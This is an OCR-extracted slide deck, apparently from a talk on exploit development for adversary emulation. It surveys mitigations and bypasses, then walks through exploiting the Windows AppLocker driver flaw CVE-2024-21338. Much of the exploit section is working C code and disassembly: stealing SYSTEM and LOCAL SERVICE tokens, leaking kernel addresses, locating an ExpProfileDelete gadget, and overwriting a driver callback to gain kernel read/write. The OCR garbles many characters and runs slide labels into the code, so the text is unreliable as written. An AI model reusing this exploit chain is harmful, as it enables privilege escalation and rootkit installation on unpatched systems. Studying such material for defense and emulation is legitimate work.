EXPLOIT DEV FOR
ADVERSARY EMULATION



REAL-WORLD USAGE

 PUZZLEMAKER MALWARE

« (CVE-2021-21224 (CHROME EXPLOIT) + CVE-2021-31956 (KERNEL EXPLOIT)
(HTTPS://SECURELIST.COM/PUZZLEMAKER-CHROME-ZERO-DAY-EXPLOIT-CHAIN/102771/)

» LAZARUS GROUP/CITRINE SLEET (FUDMODULE ROOTKIT)

o« CVE-2021-21551 (HTTPS://WWW.BLEEPINGCOMPUTER.COM/NEWS/SECURITY/LAZARUS-HACKERS-ABUSE-DELL-DRIVER-
BUG-USING-NEW-FUDMODULE-ROOTKIT/)

 (CVE-2024-7971 (CHROME EXpLOIT) + CVE-2024-38106 (KERNEL EXPLOIT) (HTTPS://WWW.MICROSOFT.COM/EN-
US/SECURITY/BLOG/2024/08/30/NORTH-KOREAN-THREAT-ACTOR-CITRINE-SLEET-EXPLOITING-CHROMIUM-ZERO-DAY/)

» (CVE-2024-21338 (H11PS://DECODED.AVAST.IO/JANVOJTESEK/LAZARUS-AND-THE-FUDMODULE-ROOTKIT-BEYOND-
BYOVD-WITH-AN-ADMIN-TO-KERNEL-ZERO-DAY/)

 ROOTKIT UTILIZES CVE-2024-21338



https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
https://www.bleepingcomputer.com/news/security/lazarus-hackers-abuse-dell-driver-bug-using-new-fudmodule-rootkit/
https://www.bleepingcomputer.com/news/security/lazarus-hackers-abuse-dell-driver-bug-using-new-fudmodule-rootkit/
https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/
https://www.microsoft.com/en-us/security/blog/2024/08/30/north-korean-threat-actor-citrine-sleet-exploiting-chromium-zero-day/
https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/
https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/

MODERN EXPLOIT MITIGATIONS

USERMODE KERNEL
« DEP « SMEP
« ASLR * KASLR
« CFG « KCFG
« ACG « HVC]
et 08 2 « KCET
 SANDBOX

WDEG CAN INTRODUCE MORE MITIGATIONS, BUT THESE MUST BE
MANUALLY ENABLED



EXPLOITATION SOLUTIONS

« DEP - CODE REUSE (RETURN/JUMP/CALL ORIENTED PROGRAMMING)
« SMEP — PTE TAMPERING (U -> §)
* ASLR/KASLR — MEMORY LEAKS

« CFG/KCFG — OUT-OF-CONTEXT CALLS / RET OVERWRITE
« CAN BE DISABLED VIA IAT OVERWRITES

« ACG — RETURN ORIENTED SHELLCODE
« HVCI-IAT OVERWRITE / DATA-ONLY ATTACKS
o CET/KCET - OUT-OF-CONTEXT CALLS / DATA-ONLY ATTACKS



GENERAL VULNERABILITY CLASSES

« STACK OR HEAP BUFFER OVERFLOW

« OUT OF BOUNDS READ OR WRITE

» ARBITRARY READ OR WRITE (CVE-2021-21551)
e USE-AFTER-FREE

« ARBITRARY FREE

« DOUBLE FREE
« TYPE CONFUSION — DIFFICULT TO PATCH DIFF

FENG SHUI LIKELY REQUIRED: HEAP OVERFLOW, USE AFTER FREE



KERNEL-SPECIFIC VULNERABILITY CLASSES

« POOL OVERFLOW
« UNSANITIZED USERMODE CALLBACK
« DRIVER CALLBACK OVERWRITE (CVE-2024-21338)

FENG SHUI LIKELY REQUIRED: POOL OVERFLOW
e EXAMPLE; HTTPS://GITHUB.COM/COLEHOUSTON/SCOOP-THE-POOL-TEMPLATE



https://github.com/ColeHouston/Scoop-the-Pool-Template

OVERVIEW OF MAIN ALLOCATORS

 FRONT-END ALLOCATOR (LOW-FRAGMENTATION HEAP)
. ACTIVATED ON SMALLER SIZES AFTER 18 ALLOCATIONS
. OBJECTS OF SAME SIZE ALLOCATED IN SAME SUBSEGMENT
. ALLOCATION ORDER IS RANDOM, LIKELY FREE SPACE BETWEEN ALLOCATIONS
- FILL UP FREE SPACE BY OVER-ALLOCATING
THEN FREE CHUNKS TO MAKE HOLES
« BACK-END ALLOCATOR (DEFAULT ALLOCATOR)
« CHUNK COALESCING
. LOOKASIDE LISTS (LIFO)

« CAN CREATE ‘SINKHOLES' FOR ‘NOISE’ AND ‘BUFFER ALLOCATIONS’ TO PREVENT
COALESCLING



WEAPONIZING A POC

FIRST: DEMONSTRATES PRESENCE OF A BUG WITH CRASH

« ~30 LINES OF CODE

SECOND: WEAPONIZED BROWSER EXPLOIT THAT RESULTS IN
REMOTE CODE EXECUTION ON EXPLOITED MACHINES

e 500+ LINES OF CODE
VULNERABILITY RESEARCH = EXPLOIT DEVELOPMENT

* FINDING BUGS REQUIRES SKILLED VULNERABILITY
RESEARCHERS

» WEAPONIZING BUGS REQUIRES SKILLED EXPLOIT DEVELOPERS

30

n cons() {

inction opt(o, value) {
O.Di=313

1ew cons();

0.a = value;

n main() {

for (let 1 = 9; 1 < 2000; i++) {

cons.prototype =
et o = {a: 1, b: 2};
opt(o, {});
t o a: 1, b: 2};
cons.prototype = o;
opt(o, ©x1234);

print(o.a);

}

main();




COMMON EXPLOIT PRIMITIVES

« HIJACK EXECUTION

« COMMON IN STACK OVERFLOWS

« WEAK CONTROL OVER MEMORY, DIFFICULT TO RESTORE EXECUTION
« READ AND WRITE

« LEAK ARBITRARY MEMORY

« CREATE FAKE OBJECTS

« STORE DATA

« CALL ARBITRARY FUNCTIONS WITH CONTROLLED ARGUMENTS
* ARBITRARY INCREMENT/DECREMENT

« USEFUL FOR KERNEL

« TAMPER WITH STRUCTS (KTHREAD)



REUSING EXPLOIT PRIMITIVES

« REUSE EXPLOIT STRATEGIES FOR SAME PROGRAMS
. CREATING MEMORY LAYOUTS
+  FINDING STORAGE BUFFERS
. OBJECTS TO CORRUPT
. OBJECTS FOR USE-AFTER-FREE
. GADGET CHAINS (ROP/ETC)



ADVANTAGES OF LOCAL EXPLOITATION

 ALLOCATE STORAGE SPACE
« GROOM MEMORY BY ALLOCATING/FREEING OBJECTS (Ex: NAMED PIPES)
e LEAK KERNEL MEMORY IF IN MEDIUM/HIGH INTEGRITY

« NO NEED TO EXECUTE CODE; JUST CLEAR THE WAY FOR YOUR CODE TO
EXECUTE



WINDOWS ROOTKITS

« OLD ROOTKIT STRATEGY: INSTALL MALICIOUS DRIVERS
« KERNEL PATCH PROTECTION
« DRIVER SIGNATURE ENFORCEMENT
« NEW STRATEGY
« CREATE RW PRIMITIVES THROUGH EXPLOIT (BYOVD)
« POST-EX THROUGH OVERWRITING DATA



KERNEL DATA TARGETS

« KTHREAD
PREVIOUSMODE
» EPROCESS
. TOKENS
PROTECTION (PPL)
. MITIGATIONS
. ACCESS CONTROL LISTS
« HANDLES
- OBJECT ADDRESS
« ETW THREAT INTELLIGENCE

» KERNEL CALLBACKS



EXPLOITING CVE-2024-21338

« |O CONTROL CALLS (IOCTLS)
« |O CONTROL CODE
« INPUT BUFFER
« OUTPUT BUFFER

« APPLOCKER DRIVER CALLBACK OVERWRITE

« EXPOSED IOCTL TO USERLAND
« PATCHED VERSION CHECKS PREVIOUSMODE OF THREAD CALLING IOCTL



EXPLOITING
CVE-2024-21338

ONLY LOCAL SERVICE CAN
OBTAIN HANDLE TO DRIVER

TOKEN STEALING CODE WORKS
TO BECOME LOCAL SERVICE

File \Device\AppID
Handle Properties
General Security

Group of user nar

dministrator

38, ApplDSvc

Permissions for LOCAL SERVICE
Full control

Read & execute

Forsp
Advanced

Administrators)

Remaove

Advanced

\Device\AppID
Handle Properties

s for Administrators
Full contral

Read & execute

Remove

Advanced

Cancel




EX P LO |T| N G i cs:  imp I soliclink ; SEARCH FOR THIS

riverEntry+483 mov ebx, eax

riverEntry+405 test eax, eax
‘ v E_2024_2 ] 338 riverEntry+487 Jjns short loc_1C

riverEntry+42F
riverEntry+42F
riverEntry+42F  mov cs:dword_1C00166A8, ril4d
riverEntry+436 lea rax, AipUnload
riverEntry+43D  mov [rdi+6
riverEntry+441 lea r8, [r Bh+
riverEntry+446 lea rax, AipCreateDispatch
riverEntry+44D mov dword ptr [rsp h+var_1C8],
riverEntry+455  mov [rdi+70h], rax
riverEntry+459 lea ; qword_1C0016200
riverEntry+460 lea . ipC ispatch
riverEntry+467 mov i ph+var_1C8+8], rsi
riverEntry+46C mov 0
riverEntry+473  xorps Xmme,  Xmmb
riverEntry+476 lea i r i ; IOCTL TABLE HERE
riverEntry+47D  mov : - ] r ]
riverEntry+484 mov
riverEntry+48B  xor
FlNDlNG THE |OCTL TABLE riverEntry+48E lea
riverEntry+495  mov
riverEntry+49A mov
riverEntry+49F mov
riverEntry+4A6  movdqu
riverEntry+4AB  mov
riverEntry+4B0 call
~riverEntry+4B7 nop dword ptr
riverEntry+4BC  mov ebx, eax
riverEntry+4BE  test )
riverEntry+4C0 jns short loc_1C€




EXPLOITING
CVE-2024-21338

TRACING IOCTL 0x22A018




EXPLOITING
CVE-2024-21338

FINDING VALID BUFFER SIZE
(0x18, 3 QWORDS)

eax, [rox AipDeviceIoControlDispatch+F6  mov
ri2b, al AipDeviceloControlDispatch+F9  test
short loc_1008 (AipDeviceIoControlDispatch+FC jz

mow
ispatch+182 mov
AipDeviceIoControlDispatch+187 call

loc_1C@@1CEAC: ; inputBuffer should be @x18
cmp dword ptr [rdi+l@ 18h
jnz short loc_1C@@1CEF@

trolDispatch+24D mov
‘trolDispatch+251 mov

eax, [rcx
rl2b, al
short loc_1C@@1CEAC

AipDevicel te 30 mov
AipDevicel tch+234  mov
AipDeviceloControlDispatch+239 call

loc_1C@@1CFDE:
Mo

call

mow

test

ontrolDispatch+3E8 mov
ntrolDispatch+3EB call

AipDevic
AipDevic
AipDevic
AipDevic

AipDeviceIoControlDispatch+113
AipDeviceloControlDispatch+114
AipDeviceIoControlDispatch+119
AipDeviceIoControlDispatchs11(
AipDeviceloControlDispatch+118
(AipDeviceIoControlDispatchs12



NANS
1\1' \

L o N A
D e

EMPTY INPUT BUFFER: BSOD



mov

mov
T mov
| e+50 mov rax, rdx
| movups  [rbp+57h+ 3], xmm@
EX P LO |T| N G movups [rbp+57h+var_80], xmm@
movups  [rbp+57h+v , Xmm@

test r8, r8

CVE-2024-21338 = 2

AipSmartHashImageFile+64
AipSmartHashImageFile+67

AipSmartHashImageFile+69
rtHashImageFile+6D 5 AipSmartHashImageFile+6F  loc_1C@@27FD7:
AipSmartHashImageFile+6F  xor r&d, réd

AipSmartHashImageFile+72
AipSmartHashImageFile+72
AipSmartHashImageFile+72
AipSmartHashImageFile+76
AipSmartHashImageFile+7B <25
AipSmartHashImageFile+7F ebx, eax
AipSmartHashImageFile+81 eax, eax
AipSmartHashTmageFile+83 j loc_1C@@2818F

TRIAGING THE CRASH

ImageFile+89  mov
AipSmartHashImageFile+8D  mov rdi, ri4

AipSmartHashImageFile+9@

AipSmartHashImageFile+9@  loc_1C@027FF8:
AipSmartHashImageFile+9@  mov dword ptr [rbp+57h+var
AipSmartHashImageFile+97 lea rl2, [rdi+@CCh]
AipSmartHashImageFile+9E  test rax, rax
AipSmartHashImageFile+Al  jz short loc_1C




AipAllocateImageContext+39 cs:_ imp_E
AipAllocateImageContext+40 dword ptr [rax+rax+0@
AipAllocateImageContext+45 rbx, rax
AipAllocateImageContext+48 rax, rax

EX P LO |T| N G AipAllocateImageContext+4B short loc_1C0027587
AipAllocateImageContext+57
- - AipAllocateImageContext+57  loc_1C@027587:

AipAllocateImageContext+57  xor edx, edx
AipAllocateImageContext+59  mov r8d, 2Ash
AipAllocateImageContext+5F  mov rcx, rbx
AipAllocateImageContext+62 call memset
AipAllocateImageContext+67 or eax, @FFFFFFFFh
AipAllocateImageContext+6A  mov [rbx+8], rbp
AipAllocateImageContext+6E  mov [rbx+8C8h], eax
AipAllocateImageContext+74  mov [rbx+168h], eax
AipAllocateImageContext+7A  mov [rbx+1A4h], eax
AipAllocateImageContext+88 lea rax, [rbx+88h]
AipAllocateImageContext+87  mov [rbx+88h], rax

AipAllocateImageContext+8E  lea rax, [rbx+1D@h]
AipAllocateImageContext+95  mov [rbx+288h], rax
AipAllocateImageContext+9C  mov dword ptr [rbx+78h], 4
AipAllocateImageContext+A3  mov [rbx+298h], ril2w
AipAllocateImageContext+AB  test rsi, rsi
AipAllocateImageContext+AE  jz short loc_1C@0275F5

EXAMINING
Al PALLOCATElMAG ECO NTEXT A%pAllocateImageCfontext{S -
TO FIX THE CRASH AipALLocateTnageContoxtsCs  test  rop, rbp

AipAllocateImageContext+C8  jz short loc_1C002763

AipAllocateImageContext+B@ | mov rsi AipAllocateImag
AipAllocateImageContext+B3 | call imp 2 je AipAllocateImag
AipAllocateImageContext+BA | nop rax+rad AipAllocateImag
AipAllocateImageContext+BF | mov [rbx+18h], rsi ; crashed here from ObfReferenceObject call AipAllocateImag
AipAllocateImageContext+C3 | jmp short loc_ 2763B AipAllocateImag

E—SSSSISSS—S——————————=/ |AipAllocatelImag




AipSmartHashImageFile+76 AipA]lmcateImageEontext : crashing in this function
AipSmartHashImageFile+7B rl4, [rbp+57h+var_98]
AipSmartHashImageFile+7F ebx, eax

DAHESINE Py e e Toc_ 10007818
CVE-2024-21338

AipSmartHashImageFile+89  mov
AipSmartHashImageFile+8D  mov

AipSmartHashImageFile+9@

AipSmartHashImageFile+98 loc_1C@@27FF8:

AipSmartHashImageFile+9@  mov dword ptr [rbp+37h+var_56+8Ch], 1
AipSmartHashImageFile+97 lea rl2, [rdi+@CCh]
AipSmartHashImageFile+9E  test rax, rax

AipSmartHashImageFile+Al jz short loc_1C0@82881F

AipSmartHashImageFile+B7
AipSmartHashImageFile+B7  loc_1C@802801F:
NEW REASON FOR CRASH AipSmartHashImageFile+B7  mov rdx, [rl5+]
AipSmartHashImageFile+BBE  lea rax, [rdi+
AipSmartHashImageFile+(2  mov ra, ril2
AipSmartHashImageFile+(5  mov [rsp+BC@h+var_A
AlipSmartHashImageFile+CA r8, [rbp+57h+var_
AipSmartHashImageFile+CE { LX
AipSmartHashImageFile+D1 iCo if doesnt crash from
AipSmartHashImageFile+D6
AlpSmartHashImageFile+D8 eax, eax ; returned @, if returned >@ may avoid «
AlpSmartHashImageFile+DA  j¢ short loc_1C@828857




IAppHashComputeFileHashesInternal+8D
IAppHashComputeFileHashesInternal+8D  loc_1C0002691:
\AppHashComputeFileHashesInternal+8D  cmp dword ptr [rl4+rdi], @

X : | | N G \AppHashComputeFileHashesInternal+92 jz short loc_1C8@@26FF

AppHashComputeFileHashesInternals94 movsxd dword ptr [r12-4]
AppHashComputeFileHashesInternals99  lea ax, AppHashAlgHandle
AppHashComputeFileHashesInternal+A@  mov i, ri3d
AppHashComputeFileHashesInternal+A3  lea i, [rsp+@Fsh
. - AppHashComputeFileHashesInternal+A8  shl i, 5
AppHashComputeFileHashesInternal+AC  add i, rdi

\AppHashComputeFileHashesInternal+AF  mov [rax+rex*8]
\AppHashComputeFileHashesInternal+B3  mov ¢, rsi
\AppHashComputeFileHashesInternal+B6  call AppHashInitHash
\AppHashComputeFileHashesInternal+BB  mov [rsp+@F8h+var_D8], eax|
\AppHashComputeFileHashesInternal+BF  mov ebx, eax
\AppHashComputeFileHashesInternal+Cl  test eax, eax
\AppHashComputeFileHashesInternal+C3  js short loc_1C880272C

[AppHashComputeFileHashesInternal+C5  m eax, [
[AppHashComputeFileHashesInternal+CA ecx, 20|
[AppHashComputeFileHashesInternal+CF ax, cx
AppHashComputeFileHashesInternal+D2  j short loc_100002719

TRACING EXECUTION THROUGH _ ,
APPHASHC OMPUTEFILEHASHESINTERNAL o e

puteFileH

* WILL ZOOM IN ON NEXT SLIDE

|AppHashComputeFileHashesInternal+13@

ppHashComputeFileHashesInternal+13@
|AppHashComputeFileHashesInternal+13@
|AppHashComputeFileHashesInternal+132

AppHashComputeFileHashesInternal+134 rdx, [ x eq value inside inputbu rd qwo allback func ptn
IAppHashComputeFileHashesInternal+139 r9, [rsp+eFsh 18]

rex, [rs) 8] ; rcx is a the addr of inputbuffer

réd, ri3d

AppHa:




EXPLOITING
CVE-2024-21338

INPUTBUFFER, INPUTBUFFER]3]
PASSED TO
APPHASHCOMPUTEIMAGE-
HASHINTERNAL

AppHashComputeFileHashesInternal+13@ AppHashComputeFileHashesInterr
AppHashComputeFileHashesInternal+130 loc_1C0002734:

AppHashComputeFileHashesInternal+13@ test ebx, ebx

AppHashComputeFileHashesInternal+132 js short loc_1C0082753

esInternal+134
esInternal+139
esInternal+13E
esInternal+143
esInternal+146
esInternal+14B

mov
lea
mov
mov

mow

; rdx eq value inside inputbuffer 3rd gqword (callback func ptr)

; rcx is a the addr of inputbuffer




EXPLOITING
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rbp+57h+var_78],
13d, esi

rbp+57h

rbp+5

rbp+5

rbp+5

rbp+57h+var_58], rs
rbp+57h+var_50], xmm@
8d, rad

hort loc_1C@02CF11 ;

AppHashComputeImageHashInternal+75
AppHashComputeImageHashInternal+75 0C_ ‘F11: ;
AppHashComputeImageHashInternal+75 | mov ax, [rax]

APPHASHCOMPUTE'MAG E— AppHashComputeImageHashInternal+78 | lea rdx, [rbp+57h+var 5@

5 0 gug S08

AppHashComputeImageHashIntePnal+?§
HASHINTERNAL DEREFERENCES pcr e e el
A N D CA L LS | N P UTB U F F E R AppHashComputeImageHashInternal+86  js




VOID ExpProfileDelete(IN PVOID Object)
f*

Routine Description:

EXP LO ITI N( ; This routine is called by the object management procedures whenever the last reference to a

This routine stops profiling, returns locked buffers and pages, dereferences the specified pr

Arguments:
Cv E_2024_2] 338 Object - a pointer to the body of the profile object.

=/

{
PEPROFILE Profile;
BOOLEAN State;
PEPROCESS ProcessAddress;

KCFG LlMlTS GADGETS FOR Profile = (PEPROFILE)Object;
OVERWRITE if (Profile->LockedBufferAddress 1= NULL) {

// Stop profiling and unlock the buffers and deallocate pool.
State = KeStopProfile(Profile->ProfileObject);

ASSERT(State != FALSE);
MmUnmaplLockedPages(Profile->LockedBufferAddress, Profile->Mdl);

NT!EXPPROFILEDELETE MmUnlockPages(Profile->Mdl);
(FROM NEROQQK'S BLOG POST) ExFreePool(Profile->ProfileObject);

}
« KCFG-VALID FUNCTION if (Profile->p - NULL) {

- DECREMENTS ADDRESS L e e
BASED OFF OF INPUT OBJECT )



https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/

EXPLOITING
CVE-2024-21338

SKIPPING REST OF FUNCTION

* NO REASON TO GET INTO REST OF
IT FOR NOW, CRASH IS SOLVED




|AipSmartHashImageFile+DC rex, [rdi+leh]
|AipSmartHashImageFile+E@ rdx, [rdi+12Ch]
che| |AipSmartHashImageFile+E7 r8, ri2

EX P L O |T| N G |AipSmartHashImageFile+EA AiSetHashInfoInCache|
loc_1C0028057:
test ebx, ebx
— — js loc_1C002818F

eax, [rdi+12Ch]
r13, ri13
loc_1C0828113

AipSmartHashImageFile+106 ecx, [rax+2Ch]
AipSmartHashImageFile+109 AiAlloc
\AipSmartHashImageFile+10E rsi, rax
\AipSmartHashImageFile+111 rax, rax
AipSmartHashImageFile+114 short loc_1C@828088

ANOTHER CRASH IN CALL TO 1 s e

|AipSmartHashImageFile+123 lea rex, [rsi+2Ch]
|nipSmartHashImageFile+127 movups xmmword ptr [rax], xmm@

FS RTLS ETK E R N E L EA Fl L E |AipSmartHashImageFile+12A mov rdx, ri2
|AipSmartHashImageFile+12D movups xmmword ptr [rax+18h], xmm@
|nipSmartHashImageFile+131 movups xmmword ptr [rax+20h], xmm@
|AipSmartHashImageFile+135 mov byte ptr [rax+5], 18h
|AipSmartHashImageFile+139 movzx eax, word ptr [rdi+12Ch]

° |nipSmartHashImageFile+140 add ax, @Bh
|AipSmartHashImageFile+144 mov [rsi+6], ax
|AipSmartHashImageFile+148 movups xmm@, xmmword ptr cs:aKernelSmartloc
|nipSmartHashImageFile+14F movups xmmword ptr [rsi+3], xmm@

M |SS | N G VA Ll D Fl L E H A N D L E |AipSmartHashImageFile+153 movsd xmml, gword ptr cs:aKernelSmartloc+10h
|AipSmartHashImageFile+158 movsd qword ptr [rsi+18h], xmml
|AipSmartHashImageFile+160 mov al, byte ptr cs:aKernelSmartloc+18h
|AipSmartHashImageFile+166 mov [rsi+20h], al

| N | O‘ TL ‘ A LL |AipSmartHashImageFile+169 mov dword ptr [rsi+24h], 31484D53h

i i eax, [rdi+12Ch]

r8d, eax
[rsi+28h], eax

|AipSmartHashImageFile+17C memmove

® FlX BY O P E N | N( ; H A N D LE TO [AipSmartHashTnageFiles181 edx, byte ptr [rsiss]
|AipSmartHashImageFile+185 word ptr [rsi+6]
|AipSmartHashImageFile+18A 9

TEMPORARY FILE AND il
PLACING IT IN INPUTBUFFER

c€s:__imp rr ; will crash here if inputbuffer doesn't contain valid file handle
dword ptr [rax+rax+0oh]

|AipSmartHashImageFile+1A'
|nipSmartHashImageFile+1A7 short loc_1C0028179




IANDLE getSvec(OUT HANDLE *phAppid) {
wprintf(L"[*] Current token user: %s\n", curTokenUser);

// If not LOCAL SERVICE, elevate privileges and steal token from svchost

if (lstrcmpW(curTokenUser, L"NT AUTHORITY\\LOCAL SERVICE") != @) {
EX P LO ITI N G printf("[*] Not running as NT AUTHORITY\\LOCAL SERVICE\n");

// Attempt to obtain handle to appid.sys with LOCAL SERVICE account

< v E j ZOj 24 : ! .I 338 int i = @; // Counter to skip each invalid svchost.exe process
5¢ O do {

// Elevate to SYSTEM
if (lstrcmpW(curTokenUser, L"NT AUTHORITY\\SYSTEM") l= @) {
printf("[*] Elevating to SYSTEM token\n");
systemToken = obtainTokenFromProcess(L"winlogon.exe", L"NT AUTHORITY\\SYSTEM", @);
if (systemToken == NULL) {
printf("[-] Failed to steal SYSTEM token, exiting\n");
goto _END OF_FUNC;
}
if (!ImpersonatelLoggedOnUser(systemToken)) {
printf("[-] ImpersonatelLoggedOnUser Failed with Error: %lx\n", GetLastError());
goto _END_OF_FUNC;
}
printf("[+] Impersonated NT AUTHORITY\\SYSTEM\n");

// Steal LOCAL SERVICE token from svchost.exe

TOKEN STEAL' NG. svcToken = obtainTokenFromProcess(L"svchost.exe™, L"NT AUTHORITY\\LOCAL SERVICE", i);
. if (svcToken == NULL) {

printf("[-] Failed to steal LOCAL SERVICE token, exiting\n");

> SYSTEM -> LOCAL SERVICE } goto _END_OF_FUNC;

if (!ImpersonatelLoggedOnUser(svcToken)) {
printf("[-] ImpersonateloggedOnUser Failed with Error: %lx\n", GetLastError());
goto _END_OF_FUNC;

I

printf("[+] Impersonated NT AUTHORITY\\LOCAL SERVICE\n");

// Attempt to get handle to appid.sys to call vulnerable IOCTL
*phAppid = CreateFile(L"\\\\.\\AppID", GENERIC_READ | GENERIC_WRITE, ©, NULL, OPEN_EXISTING, @, NULL);
if (*phAppid == INVALID_HANDLE_VALUE || *phAppid == NULL) {

printf("[-] Could not obtain handle to Appid.sys with token, trying again\n");



EXPLOITING
CVE-2024-21338

LEAKING KERNEL HANDLES

/ Leak kernel-mode address of handle associated with given PID
LPVOID leakKernHandle(DWORD pid, HANDLE hLeak) {

LPVOID leakAddr = NULL;

// Resolve NtQuerySystemInformation API
HMODULE ntdll = GetModuleHandle(TEXT("ntd11"));
_NtQuerySystemInformation query = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("[-] GetProcAddress failed\n");
return leakAddr;

// Execute NtQuerySystemInformation until there is no more data to return (@xceeeeee4d)
ULONG len = 28;
NTSTATUS status = (NTSTATUS)@xceeeeeeds;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS)@xceeeeees);
if (status != (NTSTATUS)ex®e) {
printf("[-] NtQuerySystemInformation failed with error code @x%X\n", status);
gote _END_OF_FUNC;

// Iterate through returned handles to find kernel mode address for the associated object
for (int i = 8; i < pHandleInfo->HandleCount; i++) {
if (pid == (DWORD)(pHandleInfo->Handles[i].UniqueProcessId) 8&&
hLeak == pHandleInfo->Handles[i].HandleValue)

{
leakAddr = pHandleInfo->Handles[i].Object;
goto _END_OF_FUNC;
}
}
_END_OF_FUNC:

if (hLeak) { CloseHandle(hLeak); }
if (pHandleInfo) { GlobalFree(pHandleInfo); }

e B S B



/ UbTaln current FlU TO T1iliTer nanddles
DWORD myPid = GetCurrentProcessId();

// Leak KTHREAD for current process (used to find address of PreviousMode bit)

EX P LO ITI N G HANDLE curKthread = NULL;

DWORD myTid = GetCurrentThreadId();

HANDLE myhThread = OpenThread(THREAD_QUERY_INFORMATION, false, myTid);
Cv E—2024—2] 338 if (myhThread == INVALID HANDLE_VALUE) {

printf("[-] OpenThread to self failed\n");
return 1;
i
printf(“[*] Opened thread handle to self: @x%x\n", (DWORD)myhThread);
curKthread = leakKernHandle(myPid, myhThread);
if (curkKthread == NULL) { return 1; }
printf("[+] Leaked KTHREAD for current process: @x%llx\n", (ULONGLONG)curKthread);

// Leak valid file handle (used to avoid BSOD in FsRtlSetKernelEaFile function)
HANDLE kEaFile = NULL;
LPCWSTR fName = L"C:\\Temp51231";
HANDLE eaFile = CreateFileW(fName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, CREATE_ALWAYS,
LEAK'NG KERNEL HANDLES FILE_ATTRIBUTE_NORMAL, NULL
)5
if (eaFile == INVALID_HANDLE_VALUE) {
printf("[-] CreateFileA for EA file failed\n");
return 1;
}
printf("[*] Opened file handle: ex%x\n", (DWORD)eaFile);
kEaFile = leakKernHandle(myPid, eaFile);
if (keEaFile == NULL) { return 1; }
printf("[+] Leaked kernel file object: @x%11lx\n", (ULONGLONG)kEaFile);



/ Get base address of a kernel driver

EX P LO ITI N G LPVOID GetBaseAddr(LPCWSTR drvname)
{

LPVOID drivers[1624];
CVE-2024-21338
int nDrivers, i = @;

// Retrieve list of drivers with EnumDeviceDrivers
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) &8& cbNeeded < sizeof(drivers))
{

WCHAR szDrivers[1e24];

nDrivers = cbNeeded / sizeof(drivers[@]);

// Iterate through the 1list, checking each driver's name
for (i = ©; i < nDrivers; i++)
{

if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[@])))

{

// If driver name is correct, return its base address
if (wcscmp(szDrivers, drvname) == @)

LEAK NTOSKRNL KERNEL BASE {

return drivers[i];

}

return 8;



// Load ntoskrnl into memory to find offset to nt!ExpProfileDelete function

HMODULE umodeNtoskrnl = LoadLibraryW(L"C:\\Windows\\System32\\ntoskrnl.exe");
EXPLOITING 5 (umodeNoskrnl —— UL

printf("[-] Error while loading ntoskrnl: %d\n", GetLastError());

CVE-2024-21338 s

// Resolve kernel-mode address of ExpProfileDelete
unsigned char searchExpProfileDelete[] = {
x40, ex53, ox48, ©ex83, OxEC, Ox2e, ©ex48, Ox83,
ex79, ©x30, oxee, ox48, ox8B, exD9, ©x74
}s
unsigned epdOpcodeSize = sizeof(searchExpProfileDelete) / sizeof(char);
ULONGLONG umodeOffset = FindGadget(umodeNtoskrnl, searchExpProfileDelete, epdOpcodeSize, 8);
if (umodeOffset == NULL) {
printf(“"[-] Could not resolve nt!ExpProfileDelete in usermode\n");
return 1;
}
// Obtain kernel-mode base address of ntoskrnl.exe
LPVOID ntosbase = NULL;
FlNDlNG NTIEXPPROHLEDELETE if ((ntosbase = GetBaseAddr(L"ntoskrnl.exe")) == NULL) {
printf("[-] Could not retrieve base addr of ntoskrnl\n");
return 1;
}
printf("[*] Base address of ntoskrnl: @x%11lx\n", (ULONGLONG)ntosbase);
// Resolve kernel-mode address of out-of-context call gadget
ULONGLONG kExpProfileDelete = (ULONGLONG)ntosbase + umodeOffset; // Add RVA to NT kernel base
printf("[+] Found kernel mode address of nt!ExpProfileDelete: @x%llx\n", kExpProfileDelete);



// Set Out-of-Context call addr to nt!ExpProfileDelete for PreviousMode decrement

ULONGLONG oocCall = kExpProfileDelete;
ULONGLONG pPreviousMode = (ULONGLONG)curKthread + @x232;

// Set addresses for kernel callback overwrite

( (ULONGLONG*)in_buf)[@] (ULONGLONG) (pPreviousMode+@x38); // previousMode at offset +@x3@ passed as arg to callback
( (ULONGLONG*)in_buf)[1] (ULONGLONG)kEaFile; // valid kernel ptr to file object

( (ULONGLONG*)in_buf)[2] (ULONGLONG )&oocCall; // callback overwrite function ptr

// Call vulnerable appid IOCTL
// NOTE: the ExpProfileDelete gadget is contingent on the inputbuffer's kernelmode

// address at offset +@x30 containing @®x@. If this fails, a BSOD may occur
/* DEBUG */
printf("[DEBUG] Hitting breakpoint\n"); Sleep(10080); DebugBreak();;

printf("[*] Calling IOCTL to exploit callback overwrite with nt!ExpProfileDelete (hit enter)\n"); getchar();
DeviceIoControl(hAppid, controlCode, in_buf, inbuf_size, out_buf, outbuf size, &lpBytesReturned, NULL);
Sleep(2060); // Allow IO to complete before continuing exploit (will crash if you don't)

EXPLOITING
CVE-2024-21338

CALL THE IOCTL TO DECREMENT PREVIOUSMODE



EXPLOITING
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TEST PAYLOAD: ENABLE PPL

// Calculate pointer by subtracting user-mode base address of ntoskrnl, then adding its kernel-mode base address

ULONGLONG systemProcessAddr = systemProcessOffset - (ULONGLONG)umodeNtoskrnl + (ULONGLONG)ntosbase;
ULONGLONG iterProc = readqword(NULL, systemProcessAddr);
printf("[*] Kernel pointer to SYSTEM process: %1lx\n", systemProcessAddr);

// FOR TESTING PURPOSES: ENABLE PPL ON THIS EXPLOIT PROCESS
// Check if current EPROCESS is correct (read PID at +8x440)
ULONGLONG targetPPL = @;
